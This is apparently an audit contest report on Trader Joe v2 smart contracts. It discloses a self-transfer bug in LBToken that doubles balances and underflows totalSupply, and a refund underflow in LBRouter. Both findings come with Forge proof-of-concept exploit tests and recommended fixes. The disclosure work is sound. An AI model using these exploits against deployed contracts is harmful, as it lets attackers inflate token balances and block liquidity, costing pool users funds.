Trader Joe v2 contest - neumo's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L191

Vulnerability details

Impact

The accounting of balances of the tokens is not done right in the _transfer function, allowing a user to transfer an arbitrary amount of tokens from his/her balance to him/herself, incrementing the balance by the amount transferred. Because LBPair inherits from LBToken, this issue affects all pairs created in TraderJoe.

A side impact is that the invariant that the sum of user balances for a certain _id should be never be greater than the totalSupply of that _id can be bypassed. The totalSupply is not updated in the _transfer function (as it's only modified in the _mint and _burn functions) and can end up being less than a user's balance. This way, the user could burn enough tokens to make the totalSupply underflow (note the unchecked block) and make the totalSupply an extremely large number, which could cause the minting of tokens (via LBRouter's addLiquidity, for instance) always revert.

For example:

1. In a pair recently created, a user adds liquidity and receives 100 tokens. The user balance is equal to the totalSupply at this moment (100).
2. The user transfers 100 tokens to him/herself. The totalSupply is still 100, but the user's balance is 200.
3. The user burns 101 tokens. The user's balance is 99 but the totalSupply is now 2^256-1 (type(uint).max).

Proof of Concept

The error that causes the impacts described above can be found in the _transfer function:

function _transfer(
        address _from,
        address _to,
        uint256 _id,
        uint256 _amount
    ) internal virtual {
        uint256 _fromBalance = _balances[_id][_from];
        if (_fromBalance < _amount) revert LBToken__TransferExceedsBalance(_from, _id, _amount);

        _beforeTokenTransfer(_from, _to, _id, _amount);

        uint256 _toBalance = _balances[_id][_to];

        unchecked {
            _balances[_id][_from] = _fromBalance - _amount;
            _balances[_id][_to] = _toBalance + _amount;
        }

        _remove(_from, _id, _fromBalance, _amount);
        _add(_to, _id, _toBalance, _amount);
    }

To be precise, this line:

_balances[_id][_to] = _toBalance + _amount;

sets the balance of _to address to the variable _toBalance (wich is the cached balance of the account) plus the _amount transferred. The problem is, if _from and _to are the same address, their balance ends up being their initial balance (_toBalance) plus the amount transferred.

The following Forge tests illustrate the impacts described above:

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import "./TestHelper.sol";

contract LiquidityBinTokenExploitTest is TestHelper {
   
   function setUp() public {
        token6D = new ERC20MockDecimals(6);
        token18D = new ERC20MockDecimals(18);

        factory = new LBFactory(DEV, 8e14);
        ILBPair _LBPairImplementation = new LBPair(factory);
        factory.setLBPairImplementation(address(_LBPairImplementation));
        addAllAssetsToQuoteWhitelist(factory);
        setDefaultFactoryPresets(DEFAULT_BIN_STEP);

        pair = createLBPairDefaultFees(token6D, token18D);
    }

    function testExploitSafeTransferFrom() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 1, 0);

        // We check Alice starts with zero balance
        assertEq(pair.balanceOf(ALICE, _ids[0]), 0);

        uint256 amount = pair.balanceOf(DEV, _ids[0]);

        // We transfer amount to Alice and then assert her balance is correct
        pair.safeTransferFrom(DEV, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), amount);


        // Alice calls safeTransferFrom with from and to addresses being ALICE's address
        // to transfer her full balance to herself
        // Ends up having twice her previous balance
        vm.prank(ALICE);
        pair.safeTransferFrom(ALICE, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount);
    }

    function testExploitSafeBatchTransferFrom() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

        // We check Alice starts with zero balance
        assertEq(pair.balanceOf(ALICE, _ids[0]), 0);

        uint256 amount = amountIn / 3;
        uint256[] memory amounts = new uint256[](5);
        for (uint256 i; i < 5; i++) {
            amounts[i] = pair.balanceOf(DEV, _ids[i]);
        }

        // We transfer amounts to Alice and then assert her balance for the first token is correct
        pair.safeBatchTransferFrom(DEV, ALICE, _ids, amounts);
        assertEq(pair.balanceOf(ALICE, _ids[0]), amount);

        // Alice calls safeBatchTransferFrom with from and to addresses being ALICE's address
        // to transfer her full balance of the first token to herself
        // Ends up having twice her previous balance
        vm.prank(ALICE);
        pair.safeBatchTransferFrom(ALICE, ALICE, _ids, amounts);
        assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount);
    }

    function testExploitBurnMint() public {
        uint256 amountIn = 1e18;

        (
            uint256[] memory _ids,
            uint256[] memory _distributionX,
            uint256[] memory _distributionY,
            uint256 amountXIn
        ) = addLiquidity(amountIn, ID_ONE, 1, 0);


        // We check Alice starts with zero balance
        assertEq(pair.balanceOf(ALICE, _ids[0]), 0);

        uint256 amount = pair.balanceOf(DEV, _ids[0]);

        // We transfer amount to Alice and then assert her balance is correct
        pair.safeTransferFrom(DEV, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), amount);

        // We check the total supply is equal to amount, the balance of Alice
        assertEq(pair.balanceOf(ALICE, _ids[0]), pair.totalSupply(_ids[0]));

        // Alice calls safeTransferFrom with from and to addresses being ALICE's address
        // to transfer her full balance of the token to herself
        // Ends up having twice her previous balance
        vm.prank(ALICE);
        pair.safeTransferFrom(ALICE, ALICE, _ids[0], amount);
        assertEq(pair.balanceOf(ALICE, _ids[0]), 2*amount);


        // We check the total supply is still equal to amount, half the balance of Alice
        assertEq(amount, pair.totalSupply(_ids[0]));

        // Alice burns amount + 1 tokens. As the token supply is still amount,
        // this operation will underflow and we'll end up with a token supply equal to 2^256-1
        uint256[] memory burnMintIds = new uint256[](1);
        burnMintIds[0] = _ids[0];
        uint256[] memory burnMintAmounts = new uint256[](1);
        burnMintAmounts[0] = amount + 1;
        uint256[] memory transferToPairAmounts = new uint256[](1);
        transferToPairAmounts[0] = pair.balanceOf(ALICE, _ids[0]);
        vm.startPrank(ALICE);
        // first transfer amount + 1 to pair
        pair.safeBatchTransferFrom(ALICE, address(pair), burnMintIds, transferToPairAmounts);
        // then burn amount + 1
        pair.burn(burnMintIds, burnMintAmounts, ALICE);
        vm.stopPrank();
        // we check that the totalSupply is 2^256 - 1
        assertEq(pair.totalSupply(_ids[0]), type(uint).max);


        // If we try to mint tokens, the execution reverts because it overflows
        (_ids, _distributionX, _distributionY, amountXIn) = spreadLiquidity(amountIn, ID_ONE, 1, 0);

        token6D.mint(address(pair), amountXIn);
        token18D.mint(address(pair), amountIn);

        vm.expectRevert(stdError.arithmeticError);
        pair.mint(_ids, _distributionX, _distributionY, DEV);

    }
}

The first test checks that ALICE, after receiving some tokens from DEV, who added liquidity to a pair, calls safeTransferFrom to send her full balance to herself and ends up with twice her balance. The second test, checks the same but calling safeBatchTransferFrom (I only check here the first token of the batch for simplicity). The third test turns the total supply into 2^256-1 using the steps explained above, and checks that now is impossible to add liquidity to the pair.

Tools Used

Manual review and Forge tests

Recommended Mitigation Steps

Change LBToken.sol line 191:

_balances[_id][_to] = _toBalance + _amount;

with

_balances[_id][_to] += _amount;

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L520

Vulnerability details

Impact

In LBRouter.sol, function swapAVAXForExactTokens is intended to send the exact amount of tokens _amountOut to address _to. In case the caller sends too much AVAX to the function call, the expected behaviour would be for the caller to be refunded the excess AVAX, but instead of this, this excess is also sent to _to. But instead of this, the transfer is never completed because:

if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value);

If msg.value is greater than amountsIn[0], amountsIn[0] - msg.value will allways revert because of an underflow. So this is kind of a two bugs in one situation, although I think the real issue here is that the transfer tries to send AVAX to the _to address instead of refunding the msg.sender.

Proof of Concept

The following test shows how a call to swapAVAXForExactTokens sending a msg.value greater than the expected amountIn reverts. You can just copy paste the snippet in a new test file in the test file of the project and run forge test --match testExploitSwapAVAXForExactTokensSinglePair*

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import "./TestHelper.sol";

contract LiquidityBinRouterTest is TestHelper {

    function setUp() public {
        token6D = new ERC20MockDecimals(6);
        wavax = new WAVAX();

        factory = new LBFactory(DEV, 8e14);
        ILBPair _LBPairImplementation = new LBPair(factory);
        factory.setLBPairImplementation(address(_LBPairImplementation));
        addAllAssetsToQuoteWhitelist(factory);
        setDefaultFactoryPresets(DEFAULT_BIN_STEP);

        router = new LBRouter(factory, IJoeFactory(JOE_V1_FACTORY_ADDRESS), IWAVAX(address(wavax)));

        pairWavax = createLBPairDefaultFees(token6D, wavax);
        addLiquidityFromRouter(token6D, ERC20MockDecimals(address(wavax)), 100e18, ID_ONE, 9, 2, DEFAULT_BIN_STEP);
    }

    function testExploitSwapAVAXForExactTokensSinglePair() public {
        uint256 amountOut = 1e18;

        (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false);

        IERC20[] memory tokenList = new IERC20[](2);
        tokenList[0] = wavax;
        tokenList[1] = token6D;
        uint256[] memory pairVersions = new uint256[](1);
        pairVersions[0] = DEFAULT_BIN_STEP;

        vm.deal(ALICE, amountIn + 100);

        assertEq(BOB.balance, 0);

        vm.prank(ALICE);
        vm.expectRevert(stdError.arithmeticError);
        router.swapAVAXForExactTokens{value: amountIn + 100}(amountOut, pairVersions, tokenList, BOB, block.timestamp);
    }

    receive() external payable {}
}

I fixed this substraction in LBRouter.sol to prevent that the call reverts, and then updated the previous test like this:

function testExploitSwapAVAXForExactTokensSinglePair() public {
        uint256 amountOut = 1e18;

        (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false);

        IERC20[] memory tokenList = new IERC20[](2);
        tokenList[0] = wavax;
        tokenList[1] = token6D;
        uint256[] memory pairVersions = new uint256[](1);
        pairVersions[0] = DEFAULT_BIN_STEP;

        vm.deal(ALICE, amountIn + 100);

        assertEq(BOB.balance, 0);

        vm.prank(ALICE);
        router.swapAVAXForExactTokens{value: amountIn + 100}(amountOut, pairVersions, tokenList, BOB, block.timestamp);
        assertEq(BOB.balance, 100);
        assertEq(IERC20(token6D).balanceOf(BOB), amountOut);
    }

So this time, after the call to swapAVAXForExactTokens, BOB ends up with a native balance of 100 and a token6D balance equal to the tokens we wanted to send to him. Those excess AVAX should have been returned to ALICE instead.

Tools Used

Manual review and Forge tests

Recommended Mitigation Steps

There are two things to fix here:

1. Reverse the terms of the substraction amountsIn[0] - msg.value
2. Set the receiver of the call to _safeTransferAVAX to msg.sender

To acomplish this, change Line 520 of LBRouter.sol:

if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value);

with this

if (msg.value > amountsIn[0]) _safeTransferAVAX(msg.sender, msg.value - amountsIn[0]);

function swapAVAXForExactTokens(
        uint256 _amountOut,
        uint256[] memory _pairBinSteps,
        IERC20[] memory _tokenPath,
        address _to,
        address _refundRecipient,
        uint256 _deadline
    )
...
    if (msg.value > amountsIn[0]) _safeTransferAVAX(_refundRecipient, msg.value - amountsIn[0]);
}